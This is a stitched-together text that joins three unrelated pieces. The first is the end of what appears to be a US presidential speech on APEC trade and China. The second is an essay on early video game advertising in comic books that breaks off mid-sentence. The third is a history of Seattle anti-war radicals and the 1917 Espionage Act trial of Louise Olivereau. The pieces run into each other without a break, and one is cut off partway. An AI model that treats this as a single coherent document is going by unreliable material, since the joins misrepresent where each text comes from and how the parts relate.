I've heard from American business leaders about how valuable this step will be. And we've worked hard to achieve this outcome because it clearly serves the mutual interest of both of our countries. (Applause.) So I'm proud that during my visit to China we will mark this important breakthrough, which will benefit our economies and bring our people together, and I’m pleased that President Xi has been a partner in getting this done –- very much appreciate his work on this. (Applause.)
Now, deepening our economic ties is why I also hope to make progress with President Xi towards an ambitious, high-standard, bilateral investment treaty that opens up China’s economy to American investors -- an agreement that could unlock even more progress and more opportunity in both of our countries. We’re also working together to put -- in pursuit of an international agreement on the ITA. And we’ll speak directly and candidly, as we always do, about specific actions China can take to help all of us, across the Asia-Pacific, to expand trade and investment, which many of the CEOs I talk to raise in our discussions.
We look to China to create a more level playing field on which foreign companies are treated fairly so that they can compete fairly with Chinese companies; a playing field where competition policy promotes the welfare of consumers and doesn’t benefit just one set of companies over another. We look to China to become an innovative economy that values the protection of intellectual property rights, and rejects cybertheft of trade secrets for commercial gain. We look to China to approve biotechnology advances that are critical to feeding a growing planet on the same timeline as other countries, to move definitively toward a more market-determined exchange rate, and, yes, to stand up for human rights and freedom of the press. And we don’t suggest these things because they’re good for us; we suggest that China do these things for the sake of sustainable growth in China, and the stability of the Asia-Pacific region. And I look forward to discussing these issues, along with China’s concerns and ideas, with President Xi over the next few days.
Now even as America works to deepen our bilateral ties with China, we’re focused this week on deepening our ties with all the APEC economies, including reducing barriers to trade and investment, so that companies like yours can grow, create new jobs, and promote prosperity across the Asia-Pacific region.
After all, Asia’s largest export market is the United States -- that benefits American consumers because it has led to more affordable goods and services. Six of America’s top 10 export markets are APEC economies, and more than 60 percent of our exports –- over $1 trillion worth of goods and services -– are purchased by APEC economies. That supports millions of American jobs.
So the work that APEC members have done together over the years has lowered tariffs, cut shipping costs, and made it cheaper, easier, and faster to do business – and that supports good jobs in all of our nations. We’ve worked together to improve food security, encourage clean energy, promote education, and deliver disaster relief. And all of this has made a difference.
But we can always do more. We can do more to reduce barriers to trade and economic growth. Since 2006, we’ve worked together toward the ultimate goal of a Free Trade Area of the Asia-Pacific, and APEC has shown a number of pathways that could make it a reality. And one of those pathways is the Trans-Pacific Partnership between the United States and 11 other nations. Once complete, this partnership will bring nearly 40 percent of the global economy under an agreement that means increased trade, greater investment, and more jobs for its member countries; a level playing field on which businesses can compete; high standards that protect workers, the environment, and intellectual property. And I just met with several other members of the TPP who share my desire to make this agreement a reality, we’re going to keep on working to get it done. For we believe that this is the model for trade in the 21st century.
Agreements like this will benefit our economies and our people. But they also send a strong message that what’s important isn’t just whether our economies continue to grow, but how they grow; that what’s best for our people isn’t a race to the bottom, but a race to the top. Obviously, ensuring the continued growth and stability of the Asia-Pacific requires more than a focus on growing trade and investment.
Steady, sustainable growth requires making it easier for small businesses to access capital and new markets. And when about one-third of small businesses in the region are run by women, then steady, sustainable growth requires every woman’s ability to fully participate in the economy. That’s true in the United States and that’s true everywhere.
Steady, sustainable growth requires promoting policies and practices that keep the Internet open and accessible.
Steady, sustainable growth requires a planet where citizens can breathe clean air, and drink clean water, and eat safe food, and make a living fishing healthy oceans.
Steady, sustainable growth requires mobilizing the talents and resources of all our people –- regardless of gender, or religion, or color, or creed; offering them the opportunity to participate in open and transparent political and economic systems; where we cast a harsh light on bribery and corruption, and a well-deserved spotlight on those who strive to play by the rules.
Those are all some of the areas we’ll be focused on at APEC this week, and going forward. And obviously every country is different –- no country is following the same model. But there are things that bind us together, and despite our differences, we know there are certain standards and ideals that will benefit all people.
We know that if given a choice, our young people would demand more access to the world’s information, not less. We know that if allowed to organize, our workers would better -- demand working conditions that don’t injure them, that keep them safe; that they’re looking for stronger labor and environmental safeguards, not weaker. We know that if given a voice, women wouldn’t say give us less; they’d speak up for more access to markets, more access to capital, more seats in our legislature and our boardrooms.
So these are all key issues in growth as well. Sometimes we focus just on trade and investment and dollars and cents, but these things are important as well. These ideals aren’t just topics for summits and state visits. They’re touchstones of the world that we’re going to leave to our children. The United States is not just here in Asia to check a box; we’re here because we believe our shared future is here in Asia, just as our shared past has been.
We’re looking to a future where a worker in any of our countries can afford to provide for his family; where his daughter can go to school and start a business and have a fair shot at success; where fundamental rights are cherished, and protected, and not denied. And that future is one where our success is defined less by armies and less by bureaucrats, and more by entrepreneurs, and innovators, by dreamers and doers, by business leaders who focus as much on the workers they empower as the prosperity that they create. That’s future that we see. That’s why we’re here. It’s why we’ve worked so closely together these past several years. And as long as I’m America’s President, I’m going to be invested in your success because I believe it is essential to our success as well.
Thank you very much. Xièxiè.
END
5:11 P.M. CSTThe limits of technology in the early days of gaming meant that many were downright abstract in their visuals and story.
The player’s imagination was left filling in the gaps, whether it was seeing a blocky duck as a fearsome dragon or believing that you were tasked with saving an entire mushroom kingdom from a fire-breathing... turtle? There was a little bit of information out there to help, leading obsessive kids to comb through instruction manuals and strategy guides to piece everything together.
But your brain can only add that information once you already have the game. Getting your audience to meet you halfway before that happened is where advertising came in during the ‘80s and most of the ‘90s. And that advertising only made sense in a few places before gaming became a more mainstream hobby.
The comic age
Buying space in comic books allowed game publishers to tap into a large market of nerdy kids who were ready to let their imaginations do the heavy lifting.
But the graphical and maybe even the narrative limitations made this a challenge. In the days before character design was immediately impressive — or even coherent — enough to sell the game, how exactly should you advertise these things?
To find out for myself, I went through a few hundred issues of mainstream comics — specifically Amazing Spider-Man, if you’re curious about giving it a shot yourself — going through every issue from the late ‘70s to the mid-2000s.
The earliest video game ads I’ve been able to find in those start in 1983, from Parker Brothers, of all people. The company that’s best known for Monopoly and Clue helped set the tone for pretty much every other game ad that comics readers would be seeing for the next three decades. No, I’m not joking.
The format is simple: a big, suitably evocative central image that visually overpowers the smallest possible screenshot of what the game actually looks like.
That approach makes a lot of sense when you’re dealing with a licensed property like Star Wars — selling kids on Luke Skywalker has never really been difficult — but getting legendary Mad artist Jack Davis to illustrate a couple of kids having their minds blown by the fun of Reactor with only the vaguest possible suggestion of the game’s visuals was a whole other challenge. You can see the result right up there. It’s beautiful.
This format was the go-to move for most game marketing of the era, and it resulted in some pretty amazing attempts at hiding the actual visuals of the game from the target audience. I’m pretty partial to the ads where the screenshot is actually just hand-drawn:
This is my personal favorite, the ad for the Super Cobra flight jacket promotion that tucks an actual television into the shadows of the background of a photograph that looks like the opening scene of a particularly hilarious episode of Law & Order.
To which I can only respond:
It’s worth noting that while all of these examples come from Parker Brothers, this was something that happened across the entire industry, to the point where I was left wondering if Atari, Konami and Capcom were all going through the same advertising agency.
There’s a little bit of individual flavor for each company, of course, with Konami favoring photos that look like posters for Schwarzenegger-era action movies, which matched the aesthetic of the Contra cover art itself.
… and Capcom having a weird string of indecisiveness the same year that saw them unable to choose between photos and art based on those photos. So the company decided to just do two ads that ran in the comics on alternating months.
Overall, though, that was the ad format for video games, and it stuck around forever. Or at least it felt that way.
While it’s easy to look at ads from the 80s and explain them away as a product of their time, you can see the exact same approach showing up decades later, long after Parker Brothers had gotten out of the console market and gone back to Ouijia Boards. The aesthetic for these ads was in place, and no one seemed willing to step away from it, even after the visuals themselves became more of a selling point themselves.
Check out an ad for Super Mario Sunshine from 2003. That’s 20 years after Parker Brothers tucked their screenshot between Luke Skywalker’s knees:
That’s a game with some great water effects and attractive visuals, but that ad is part of a tradition that insisted the game itself is never the selling point. Nintendo thought that a slimy Mario would sell more copies of the game than the game itself.
This monolithic aesthetic is fascinating by itself, but it only gets stranger when you start looking at the ways games tried to break away from the format.
Witness, for instance, a weird little comic strip for the original Mario Bros.:
Again, it pulls the familiar trick of swapping out actual screens from the |
received his introduction to radical politics and to hard liquor at Falkoff’s home. Louise Olivereau hosted a small study group at her Wallingford home, where she spent evenings leading discussions on poetry, philosophy and the theater. Raymer’s Old Bookstore, downtown on First Avenue, carried books on radical philosophy. O’Connor recalled Charles Raymer as “the atheist, in his cavernous, musty old bookstore preaching municipal socialism but selling the Masses and the Liberator by the hundreds every month...” Anti-war radicals in Seattle had found an outlet for both their politics and their cultural interests in these lectures, study groups and bookstores. Moreover, these pursuits served to affirm the growing sense of community among a diverse group who had previously found few mutual interests. As O’Connor remembered it, prior to wartime “[O]n the raw frontier of the Pacific Northwest there was little enough of cultural life in the radical movement...”
Cultural and social gatherings among the radical ranks increased during wartime in Seattle; however, the concern for political prisoners and the raising of funds for their legal defense--remained the primary rallying point for these people. Although the foremost concern was for local cases stemming from wartime sedition laws, the Defense League also offered its support to nationally known causes such as the tom Mooney case in San Francisco. After a bomb explosion during a “Preparedness Day” parade killed ten people in that city in July 1916, Thomas Mooney and Warren Billings were arrested and convicted of the crime.
Sentenced to hang and then granted a commutation to life imprisonment, Mooney became a nationwide cause celebre for radicals and trade unionists alike, until California governor Culbert Olson pardoned Mooney in 1939.
When Mooney was sentenced to death in the spring of 1917, the Seattle Defense League called for a ten-minute work stoppage of all Pacific coast workers, a proposal endorsed by the Seattle Central Labor Council. In a letter to Emma Goldman, Minnie Parkhurst reported that the first of May general strike protesting Mooney’s death sentence was a success, and that “while it was only ten minutes, it was ‘effective in that it made the masters sit up and take notice. Many of the workers quit for the whole day.” Seattle radicals maintained a great interest in the Mooney case, organizing such fundraising efforts as selling “Mooney tags” at meetings and picnics and forwarding donations to Mooney’s defense fund in San Francisco.
Northwest radicals were able to follow the defense of Mooney through the pages of nationally circulated radical magazines such as the Blast, the Masses and the Liberator.
The sharing of common ideas by means of the press served to maintain a certain cohesion that those who held minority anti-war views desperately needed during wartime.
Convictions were strengthened and renewed when similar ideas could be circulated and shared. National publications illustrated the idea that those opposing the war in one place were not operating alone, but instead were part of a larger group that shared the same anti-war sentiment.
Alexander Berkman’s Blast combined that anti-war sentiment with an anti-capitalist fury. In 1915 Berkman left New York for San Francisco to aid his friends Matthew Schmidt and David Caplan, who had been convicted of the 1910 bombing of the Los Angeles Times building, a dynamiting which killed twenty and injured seventeen. Berkman felt that a nationwide campaign would bring the release of Caplan and Schmidt, and so the Blast first appeared in early 1916 with the subheading, “A Revolutionary Labor Paper.” Berkman was editing the eight-page weekly during the summer of 1916, when the preparedness parade explosion brought on the arrests of tom Mooney and Warren Billings. Berkman mobilized a campaign to exonerate the two men, and the pages of the Blast became his forum in that effort.
Richard Drinnon wrote that “a sense of absolute emergency pervades almost every column” of the Blast, and with the talent and incisive commentary of cartoonist Robert Minor, the rage that the Blast expressed still springs from its pages. The Blast fought for imprisoned radicals with such ferocity that, as Drinnon wrote, the pages “seem to have blown out of the eye of a social hurricane.” This intensity is captured in a stunning graphic by Minor which appeared a month after postal authorities had informed Berkman that his publication was “not a newspaper or other periodical by the law of 1879.” The illustration shows a brawny-shouldered “U.S. government” stabbing a maiden “Free Press” in the throat, with the caption, “YOU AND I CANNOT LIVE IN THE SAME LAND.” Berkman’s accompanying editorial railed against press suppression and reprinted the postal department letter.
The Blast did endure for another year, and in the summer of 1917 Berkman published the final issue before returning to New York, where he was arrested for writing articles against conscription. In that last issue was a piece by Berkman headed, “War Dictionary,” an acrimonious denunciation of the war and of Wilson, including such “definitions:” CONGRESS The valet of Woodrow the First CENSORSHIP--The rape of Free Speech CIVILIZATION--In God We Trusts LIBERTY LOAN--The bread line of the Unborn LOYAL CITIZEN--Deaf, dumb and blind KAISER A President’s ambition SEDITION The proof of Tyranny TRENCHES Digging your own Grave VICTORY--Ten Million Dead
For Berkman, war was the “propaganda of Democracy,” and his Blast gave vent to his wrath against the war and the Wilson administration. His audience seems to have been of a very limited size; the lack of circulation figures for the Blast leads to the conclusion that this publication never achieved a very wide readership. The magazine with a much larger national audience, and one that appealed to anti-war radicals, was the Masses, and later its offspring the Liberator.
The Masses, published in New York from 1911 to 1917, was a lively magazine which focused on art, literature, socialism, and cooperatives. “Our appeal will be to the mass, both socialist and non-socialist, with entertainment, education and the livelier kinds of propaganda,” the December 1912 issue proclaimed. Morris Hillquit called the Masses “the Vanity Fair of the labor press,” and its staff did emphasize the importance of synthesizing art and politics, calling it a “meeting ground for revolutionary labor and the radical intelligentsia.” While Berkman aimed his Blast at radical workers, Masses editor Max Eastman spoke to radical intellectuals. When the August 1917 issue was deemed unmailable by the Postmaster of New York, the Masses, as Eastman later wrote, died an “unnatural death.”
By early 1918 Eastman and his sister Crystal had founded a new magazine, the Liberator, which also combined art and politics. Published from 1918 to 1924, the Liberator reflected the early American communist movement, and the staff of this magazine found a solution to the crisis of world capitalism in the fledgling ideology of Soviet communism. Richard Fitzgerald wrote that “the Masses was a cultural product indigenous to the spirit of socialism and bohemian revolt prior to World War One: the Liberator was the inheritor of the tradition and the final gasp of that ethos.” A notable feature of both magazines was the trenchant art work of Art Young, John Sloan, and Robert Minor among others. The humorous and often emotional “cartoons” were actually fine artistic works, utilizing a style which still carries a forceful impact today.
As publications aiming at a nationwide audience, these magazines all depended on second-class mailing privileges for their circulation. However, when the Espionage Act was enacted in June 1917, a controversial provision of the law prohibited the use of the U.S. mails for the circulation of messages criticizing the war effort or discouraging military enlistment. The Postmaster General was empowered to declare material unmailable if it expressed opposition to the war, and postal employees were encouraged to turn over any suspicious matter to their supervisors.
Postmaster General Albert Burleson took his job very seriously, and by August 1917 at least fifteen major publications were declared “nonmailable.” These included the Masses, Mother Earth, the International Socialist Review, the Appeal to Reason, American Socialist, the Milwaukee Leader, Nation, and the New York Call. The Post Office Department would deem a certain offensive issue unmailable, and then inform the publication’s staff that, because the issue was not mailable, it was not a continuous publication and therefore was ineligible for second-class mailing privileges. Several of the above publications fell under this curious Post Office Department reasoning, and many ceased publication by the winter of 1917.
Emma Goldman tried to circumvent the prohibition of her Mother Earth magazine by producing a smaller version called Mother Earth Bulletin, but within months the Post Office Department deemed that publication unmailable also.
As the grip of government-sponsored suppression tightened, most anti-war publications belabored the point that, while the U.S. had gone to fight in Europe to “keep the world safe for democracy,” American democracy was trying to withstand the staggering blows delivered by the federal wartime laws. This inconsistency was often emphasized by the three Seattle newspapers which held anti-war views: the labor-owned Union Record; the socialist Seattle Daily Call; and the IWW-sponsored Industrial Worker. The front page of the 31 July 1917 issue of the Daily Call carried an editorial cartoon depicting an “American Autocrat” gagging a man labeled the “labor press,” with the caption, “IN ORDER TO BRING DEMOCRACY ABROAD MUST WE SUBMIT TO TYRANTS AT HOME.” Of these three newspapers, the Daily Call took the most acrimonious stance against the war. Until its demise in the spring of 1918, this socialist publication hammered away at the relationship between American capitalists and the war effort. Staff members included Harvey O’Connor and Anna Louise Strong.
The Industrial Worker, published first in Spokane and then Seattle, became a victim of wartime intolerance in the spring of 1918, when its editors could no longer find printhouses willing to print the paper. As the official journal of the Western IWW locals, the Industrial Worker faced the federal assaults directed at the IWW as a whole.
The weekly publications appeared at irregular intervals after the federal raids on IWW offices in September 1917, and after seizures and suppression on both the state and federal levels later that year, the Industrial Worker ceased publication altogether.
In light of the hazards involved in publishing unpopular opinions during the war, the most enduring of these local publications was the Union Record. Established as a weekly in 1900 and owned by the Seattle Central Labor Council, the Union Record began publishing daily editions in April 1918. The Daily Call faced bankruptcy that spring, and after a conference between the two papers’ editors, it was agreed that if another “working class daily” was launched in Seattle, the Call would agree to fold.
The Union Record was more restrained in its criticism of the war than the Daily Call had been, but it did appeal to both the radical workers and trade-unionists. In 1918 the paper claimed to have a circulation of 112,000--a tremendous increase from the 1916 circulation of 12,000. 45 One consistent feature of anti-war opinion in the Union Record of 1918 was the satirical verse written by Anna Louise Strong, under the pseudonym “Anise.
The Union Record did experience federal suppression in November 1919, when federal agents raided the newspaper office and charged the staff with conspiracy to violate the Espionage Act. The raid stemmed from an editorial by Harry Ault entitled, “Don’t Shoot in the Dark,” denouncing the Centralia shooting between the IWW and American Legionnaires. Publishing rights were suspended for six days until charges against the staffers were dropped, a decision which Ault called “one of the first signs of returning sanity from wartime hysteria.“
But during January 1918 that “wartime hysteria” had been all too prevalent in Seattle, when a group of people-- the majority of them sailors--mobbed the Piggot Printing Plant. The Piggot concern printed the Daily Call and the Industrial Worker. During the vigilante raid, employees of the plant were forced to lie on the floor while the mob stuck iron bars into the running presses. Type forms for several publications were smashed, and type cabinets were overturned. The police finally broke up the mob action, but not until an estimated $15,000 damage had been done. Many Seattle citizens viewed this incident with disgust and anger, especially since the majority of the “hoodlums” were sailors in the United States Navy. On Monday, January 7, the local branch of the People’s Council sent telegrams to President Wilson and Secretary of the Navy Josephus Daniels, denouncing the lawlessness of the sailors, and requesting action of some sort to prevent further outbreaks of mob violence. And on that Monday morning the Daily Call-- boasting that the incident had not held up the week’s issue ran a poem by “Gale,” another pseudonym used by Anna Louise Strong:
The Battle of the Print Shop
Oh the boys were out on a Saturday night,
Our sailor boys! Our sailor boys?
Roaming the city to see the sight
And make their share of the noise,
When up there stepped two brawny men
And said: “Do you want the chance
To have some fun and swat the Hun,
Before you go to France?”
//
They made reply with a loud Aye! Aye!
And hurried along the street
Until they came to a printing shop
Where a bridge and a sidewalk meet.
Hist! All is still! They look within
Where plainly may be seen
Six strange suspicious printers,
And a linotype machine.
//
“Ha! Ha! Prepare to follow me,”
Their leader muttered low; “Within these haunts they print the Call,
That dares to tell the truth to all.
We’ll smash it with a blow.
Rise up! Protect Democracy!
This is the country of the free
The Call The Call must go.”
We know not what dime novels
Inspired each sailor heart,
But brains aren’t right on Saturday night
And they were young and trained to fight;
And keen to do their part.
//
Charge Chester, charge! On Stanley, on!
Smash forward undismayed!
Not all the type in all the forms
Shall make our hearts afraid.
//
Now when the smoke of battle
Above the wreckage cleared
Two murdered linotype machines
And one dead press appeared;
And many Red Cross pamphlets
Lay slaughtered on the floor,
And Ole Hanson’s mayor cards
Were slain to rise no more.
//
‘Twas thus our Jackies won the day
And captured Piggot’s shop;
They smashed the windows, desks and door
Before they had to stop;
They made a mess upon the floor,
Of forms and type and printer’s ink,
But the Seattle Daily Call
They didn’t touch at all.
For sailor boys are trained to fight
They are not trained to think.
//
The days are done in Washington,
Of boozing to excess,
And only Huns delight we know
In sprees of “frightfulness.”
//
We recommend this substitute
That’s furnished by the war,
It doesn’t hurt your conscience
Like the jags there were before.
For all the actions idiotic,
Destructive or despotic,
May be hallowed by the flag,
And just being patriotic
Is the latest form of jag.
The poem expressed an anger which many Seattle radicals must have felt during the war years. “Gale” conveyed the collective feelings that civic bigotry was justified when it was carried out under the guise of patriotism; that radicals were equated with “Huns” on the homefront; and that, in their minds at least, the Daily Call and other anti-war publications dared to “tell the truth to all.” As evidence of a common opinion which existed among Seattle’s wartime radicals, the poem conveys a true flavor of that era.
During 1917 and 1918 the radicals felt the “contempt” of Wilson and of others who attempted to silence them, and they reacted by forming a collective identity, a community.
The sharing of ideas, art and literature, and the raising of funds for those imprisoned as a direct result of wartime legislation sustained this small group of people throughout the duration of the war. The resentment which grew from their wartime experience would prove to be an impetus in early 1919, when that joint cooperation they had founded would be called upon again, with the plan for a general strike. But by the middle of 1917, when the legal terms of the Espionage Act were being applied in full force by federal agents and the courts, the radical community saw several of its members jailed for expressing opposition to the war. The intolerance towards anti-war radicals during this time can be seen in the case study of Louise Olivereau, a Seattle woman who suffered the wrath of the wartime legal system and of inflamed public opinion.
Chapter 3: A Woman Acting Alone: Louise Olivereau And The First World War
During the summer of 1917, Louise Olivereau was a stenographer for the secretary of the Lumber Workers, a division of the Industrial Workers of the World (IWW) in downtown Seattle. A college-educated woman, Olivereau tutored English at night to supplement her weekly income of eighteen dollars. A woman well-versed in literature, she often lectured to local women’s groups on the plays of Henrik Ibsen. As a politically astute woman, she became increasingly concerned about America’s entry into the European war. Her abhorrence of war and the action she took to protest American troops being sent overseas would bring her into a federal courtroom in November, 1917.
Three days after the U.S. declaration of war, Louise Olivereau marked her thirty-third birthday. Born in Douglas, Wyoming, and the daughter of French immigrants, she went east after high school to attend college at what is now Illinois State University in Bloomington, Illinois. After college she travelled west and lived in Salt Lake City and Portland. During 1911 through 1912 Olivereau worked as an assistant to William Thurston Brown, a socialist writer and educator, at the Portland Modern School. The American Modern School movement grew out of the education theories of Francisco Ferrer, a Spanish anarchist. The Portland and New York Modern Schools were the first of these experimental schools founded in the United States. The basic tenet of this anarchist education movement was that children would be more responsive to learning in an unstructured, loving environment, in contrast to the discipline of the traditional classroom. The Modern School in Portland held day classes for children, and evening and weekend “study groups” for adults. Olivereau often headed these study groups. The school closed in 1912, and W.T. Brown moved on to establish Modern Schools in other American cities.
Olivereau moved to Seattle in 1915, where she had a good friend, Minnie Parkhurst. The two women had long been interested in the activities of the Socialist party; however, the declaration of war brought about a serious split in that political party, with several members voicing support for President Wilson and the war. Olivereau later wrote that she had become a Socialist in 1909, but by the spring of 1917 she considered herself a philosophical anarchist, embracing the belief that individuals could function better without the constraint of any government. She followed the writings of Emma Goldman and Alexander Berkman, and however naive her political philosophy may have been at the time, the war and conscription imposed by the government strengthened her belief that the right of the individual must transcend any law. Parkhurst too had become disillusioned with the Socialist party, and she referred to local Socialists as “politicians,” a slur against the party faction often referred to as “ballot-box Socialists.” The two women attended rallies against the war during the summer of 1917.
One rally Olivereau did not attend that summer was planned by the Seattle Chamber of Commerce in honor of the return of a diplomatic mission to Vladivostok sponsored by the U.S. government and led by Elihu Root, an emissary for the Wilson Administration. On 4 August Seattleites greeted the ship at the waterfront, and a luncheon and rally followed. At the rally Root spoke of the dangers the country faced in the war with Germany. He said, “don’t argue about the cause of war, or whether we should or should not have entered it.” If the U.S. was to lose the war, he added, the Germans would surely take over. Root’s speech received front page coverage in the three commercial daily newspapers.
After reading accounts of the speech, Olivereau became incensed at the idea that one should not question the reasons for entering the war. She decided to act against Root’s message in the most effective method she felt was available to her. She wrote and mimeographed a circular to young men who were to be inducted into the military, and by doing so she took the step that would eventually bring her ideology and abhorrence of war into a court of law. During the first week of August the Times and the Star listed the names of men called up for service. From these listings Olivereau chose the names of men to whom she would mail her anti-war message.
The circular began, “Fellow Conscript,” and the text which followed was a rebuttal of Root’s speech using quotations from Thoreau, Mark Twain and Thomas Jefferson.
The leaflet argued that citizens must discuss questions concerning war, and urged the reader to think carefully about his responsibilities in fighting the war. “We do not counsel resisttance,” Olivereau wrote, “we counsel but one thing--obedience to your own conscience...we do not ask you to resist the draft IF YOU BELIEVE THE DRAFT IS RIGHT.”
On the subject of the draft and conscientious objectors she wrote, (T)he emotional appeal made by millions of posters, by screeching headlines, by patriotic magazine articles, moving pictures and music, have all failed to raise an adequate army by voluntary enlistment. What does this mean? THE PEOPLE OF THIS COUNTRY DO NOT WANT THIS WAR. YOU ARE BUT ONE OF MILLIONS WHO ARE AT HEART CONSCIENTIOUS OBJECTORS.
After urging the reader to act on his own convictions, the leaflet ended with, “AND WHAT ARE THESE ABSTRACT SENTIMENTS OF LIBERTY, FREEDOM, JUSTICE AND INDEPENDENCE WORTH TO US IF WE MUST BE SLAVES TO PRESERVE THEM FOR OUR MASTERS?”
She spent about forty dollars on paper and postage for her lone task, and she mailed the circulars on three different occasions in August, using mailboxes in various Seattle neighborhoods. Using the mails for circulation of messages against the war was specifically prohibited by the Espionage Act, and Olivereau was probably aware of the consequences her actions might bring.
On 5 September, federal agents raided the downtown IWW hall. This action followed the Department of Justice’s plan to investigate IWW activities, in order to find a connection between the IWW and “German propaganda.” Raids on IWW halls across the country were scheduled for the same hour. The Star reported that no arrests were made during the Seattle raid, but that all correspondence, journals and pamphlets were confiscated. The government agents were thorough in their expropriation: a framed map of the state of Washington was among the material seized.; Arriving at the IWW-office the next day, Olivereau found that her desk had also been cleaned out in the raid.
Among the material confiscated were ten copies of the book, The Backwash of War, and several hundred copies of a pamphlet entitled “Shambles.” Olivereau ordered this anti-war literature from New York City, and because the material had just arrived a few days before the raid, she had not had a chance to read it. On 7 September she decided to call on Howard P. Wright, special agent for the Department of Justice in Seattle, to request the return of her books. She later said at her trial that the material was “entirely my private property, having no connection whatever with any organization,” referring to the IWW. Olivereau never did elaborate on what she had expected from her visit to Wright’s office, but when she arrived, Wright showed her one of the circulars and asked her if it had been typed and mimeographed at the IWW office on First Avenue.
Olivereau replied that, as far as she knew, the only matters produced at the office were those pertaining to the business of the IWW. Wright suggested that they go to the District Attorney’s office to retrieve her books.
At District Attorney Clay Allen’s office, Olivereau was introduced to C.M. Perkins, Seattle’s postal inspector.
Perkins brought out a bundle of the circulars and began to read from one of them. He asked her if she had written the circular, and she said no, she had not. Perkins went on to read a letter Olivereau had written in August to a man named Leech in Bellingham, asking him if he would be interested in distributing her circulars in that area. When Perkins put the letter down, Olivereau admitted she had written and mailed the circulars. The men questioned her extensively about her job and the production of the circulars.
Olivereau maintained that she did not write and mimeograph the circulars at the IWW office. The men told her they had been aware of the mailings some weeks before the raid. Later, during her trial, Olivereau would tell the jury to draw their own conclusions about why the authorities did not arrest her until after the raid. Apparently they had wanted to confirm a connection between the circulars and the IWW, and Clay Allen told the Star after Olivereau’s arrest that “we had been on her trail for some weeks.”
During the interrogation concerning her financial and political backing, Olivereau insisted that she had acted alone. When asked about being financed by “German money,” she replied that if she had had any considerable sum to work with German or otherwise--she would have been able to do more than just distribute her own written message. Her interrogators apparently had difficulty believing that Olivereau would spend her own time and money on the circulars. When they asked her what kinds of results she had expected from the mailings, Olivereau replied that if only five men reconsidered their stand on the war because of her message, then she would consider her work a success.
Upon that reply Clay Allen said, “I don’t know whether this woman is a harmless sentimentalist or a dangerous person.”
Whether harmless or dangerous, for some reason Olivereau was at least accommodating to the men that afternoon. Wright asked her if she had more circulars at home, and Olivereau invited the men to accompany her to her home on Second Avenue Northeast. She and the three men took the Wallingford streetcar to her house, where she showed them the remaining cache of pamphlets. After the house was searched and more questions were asked, Olivereau was arrested for violation of the Espionage Act. She was taken to the Pierce County jail in Tacoma, where most federal prisoners were housed at the time, because, according to Harvey O’Connor, “the King County jail in Seattle was apparently too close to the Wobbly (IWW) hall.” Bail was set at $7500.
The arrest made the front pages of most Seattle newspapers the following day. Both the Times and the Post- Intelligencer carried lengthy articles detailing the crime.
The socialist Daily Call wrote, “she declared that she ‘expected to pay the price,’ and was happy having done as her convictions directed.” From her jail cell in Tacoma Olivereau corresponded with Minnie Parkhurst. Her spirits were buoyant at this time, and she wrote:
“I never expected to feel this way in jail--I guess it’s the way I have heard men say it is about getting drunk--it all depends on how you feel when you start. Now I felt fine when I started and I still feel that way.”
At her arraignment on 12 November, she entered a plea of not guilty and waived the assistance of a court-appointed attorney.
The trial of the United States versus Louise Olivereau was slated for 28 November 1917. On that day Olivereau again refused counsel, choosing instead to represent herself in court. She told the Daily Call that she had no money for an attorney, “and besides, he would worry more over getting me a light sentence than over the preservation of ideals I care for more than for my own liberty.” When asked outside the courthouse what her reasons for sending the circulars were, she replied, “to make men think, because that is the first and chief duty they owe to their country and the world.”
The courtroom was almost full on that Wednesday, the day before Thanksgiving. Most of the day was spent choosing the twelve jurors. Presiding over the court was Federal District Judge Jeremiah Neterer, with Ben Moore acting as prosecuting attorney. The charges against Olivereau were read: distribution of 2,000 to 2,500 circulars which urged or caused persons to “fail, neglect, and refuse to enlist or be recruited in military and naval service of the United States.” In all, there were nine counts of violating the Espionage Act three counts for each of the August mailings.
Olivereau began her questioning with a request that she might ask one question of all twelve men. The judge granted this request, and she asked the men if they might possibly have formed prejudiced of preconceived notions about her, because the newspapers had referred to her as an anarchist “who respects right rather than law.” She told the prospective jurors that the essence of her question was to determine from the start whether anyone was prejudiced against a declared anarchist. Juror number six exclaimed, “I certainly have a prejudice against a declared anarchist.” According to the trial transcript, Olivereau told the judge that juror number six should withdraw, and the man rose from the jury box. The judge told the man to be seated, and he told the court that anarchism was not an issue in the case. Prosecutor Moore rose and asked Olivereau whether she meant that she had been declared an anarchist by the newspapers, or whether she wished to admit that she was an anarchist. When she replied, “Both,” the prospective jurors all rose to leave the jury box. Judge Neterer quickly told them to resume their seats, and the men did. Although this unusual occurrence was not noted in the court transcript, the Post-Intelligencer reported the incident in its trial account, and Olivereau would later refer to it in a letter to Minnie Parkhurst.
During the selection of the jury, Olivereau asked each man three questions: whether he believed in freedom of speech and of the press in wartime as in peace; if he thought an individual had a right to criticize the government and its laws; and if he understood the difference between explaining a situation, expressing a personal opinion and advocating a line of action. When her questions concerned political ideology or the understanding of anarchism, the judge interrupted Olivereau, declaring that those topics were not issues in the case.
Judge Neterer occasionally exhibited a certain resentment that Olivereau did not have an attorney, and he often dismissed her questions as “immaterial” or “not an issue here.” When she asked one man if he believed that conscription was a democratic measure, the judge quickly told Olivereau that the inquiry was not a proper one. She answered that she was compelled to ask such a question in order to “get at the real state of these gentlemen’s minds.”
The judge replied, “that is why I suggested that you should be represented by counsel because they would know.” Olivereau returned to one of her three usual questions.
When the jury was finally chosen, it included a retired banker, a real estate broker, a wealthy hardware merchant, and a man who had seven sons, all of whom were serving in the army. The Daily Call commented bitterly on the jury as “among the most reactionary of the hangers-on of the Chamber of Commerce.” Following the swearing in of the jurors, Prosecutor Moore outlined the Espionage Act. On the witness stand Postal Inspector Perkins described how he had first become aware of the circulars. A clerk at the University Post Office had found a half-opened circular on his sorting table and had turned it over to his supervisor. The letter to the man Leech in Bellingham had been delivered to the wrong Leech: that man promptly turned it over to the postmaster in his city.
That first day in court was covered by most Seattle newspapers. In what seemed an absurd label for a Seattle stenographer, Olivereau was described as “one of the most widely known anarchistic leaders in the United States” by the Seattle Times. The Times also noted that Dr. Anna Louise Strong had sat by Olivereau in the courtroom, and that “at noon recess they locked arms and left the courtroom together.” Anna Louise Strong had been elected to the Seattle School board in 1916, but her popularity among the middle class diminished as her political leanings towards the local socialists became more apparent. She too had spoken against the war, and her appearance at the Olivereau trial added force to the recall movement which had begun against her. Strong later wrote:
“My own fault revived the recall. I had ‘befriended’ an anarchist...she asked me to sit beside her in court... so that she might have a friendly word to relieve the soul-crushing atmosphere of American justice... I was neither prepared nor unprepared for the eight-column headlines which greeted the fact that the woman school director, already under attack for recall, had befriended an anarchist.”
